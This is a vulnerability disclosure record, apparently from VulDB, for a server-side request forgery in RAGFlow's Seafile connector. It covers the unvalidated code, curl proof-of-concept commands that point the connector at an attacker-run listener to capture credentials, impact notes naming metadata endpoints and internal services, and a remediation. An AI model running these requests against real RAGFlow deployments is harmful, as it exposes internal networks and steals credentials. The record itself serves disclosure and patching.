| Title | InfiniFlow RAGFlow <= v0.27.1 (tested at commit 880876f60ff8c30e023e42360d13688a0a021fd) Server-Side Request Forgery (SSRF) in Seafile Connector |
|---|
| Description | The Seafile connector in RAGFlow accepts a user-controlled "seafile_url" parameter and uses it to build outbound HTTP requests without any SSRF validation (no allowlist, no blocking of internal/metadata IP ranges, no DNS pinning). Any authenticated user can create or test a connector pointing to an arbitrary host, causing the RAGFlow backend to originate requests to that target, including cloud metadata endpoints and internal network services such as Redis, Elasticsearch, and MySQL. In addition, the credentials supplied for the connector (username/password) are sent via POST to the attacker-controlled URL.
Affected files: common/data_source/seafile_connector.py (lines 150-167, 219-222) and api/apps/restful_apis/connector_api.py (lines 89-108).
Root cause:
self.seafile_url = seafile_url.rstrip("/") # user controlled, no validation
def _account_get(self, endpoint, params=None):
url = f"{self.seafile_url}/api2/{endpoint.lstrip('/')}"
resp = rl_requests.get(url, ...) # no SSRF guard
resp = rl_requests.post(
f"{self.seafile_url}/api2/auth-token/", # user controlled URL
data={"username": username, "password": password},
)
The connector REST API passes the connector config (including seafile_url) through to these calls without sanitization, both at connector creation time and via the /test endpoint.
Proof of concept:
1. Start an HTTP server on the attacker machine: python3 -m http.server 8081
2. Create a malicious connector pointing at an internal/attacker host:
curl -s -X POST "http://localhost:9380/api/v1/connectors" -H "Authorization: Bearer <API_KEY>" -H "Content-Type: application/json" -d '{"name":"ssrf-test","source":"seafile","config":{"seafile_url":"http://172.17.0.1:8081","credentials":{"username":"[email protected]","password":"test123"}}}'
3. Trigger the SSRF via the connector test endpoint:
curl -s -X POST "http://localhost:9380/api/v1/connectors/<CONNECTOR_ID>/test" -H "Authorization: Bearer <API_KEY>" -H "Content-Type: application/json" -d '{"source":"seafile","config":{"seafile_url":"http://172.17.0.1:8081","credentials":{"username":"[email protected]","password":"test123"}}}'
4. Observe the request arriving on the attacker server: 172.17.0.x - - [DATE] "POST /api2/auth-token/ HTTP/1.1" 404 -. Username and password are delivered in the POST body to the attacker-controlled URL.
Impact: access to cloud metadata services (e.g. http://x.x.x.x/latest/meta-data/), scanning/enumeration of internal services (Redis, Elasticsearch, MySQL, etc.), credential theft (username/password exfiltrated to attacker URL), exploitable by any authenticated user with no admin privileges required.
Remediation: validate seafile_url against an SSRF guard before any outbound request and at connector creation time, e.g. resolve and check the hostname/IP with assert_url_is_safe() and pin DNS resolution (pin_dns()) for the duration of the request, blocking private/link-local/metadata IP ranges.
CWE-918 (Server-Side Request Forgery). CVSS v3.1 estimate: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N (~8.1, High). |
|---|
| User | Gabriel Alves (UID 99209) |
|---|
| Submission | 10/10/2026 17:41 (25 days ago) |
|---|
| Moderation | 11/04/2026 12:31 (25 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 431037 [InfiniFlow RAGFlow up to 0.27.3 Seafile Connector seafile_connector.py _account_get seafile_url server-side request forgery] |
|---|
| Points | 17 |
|---|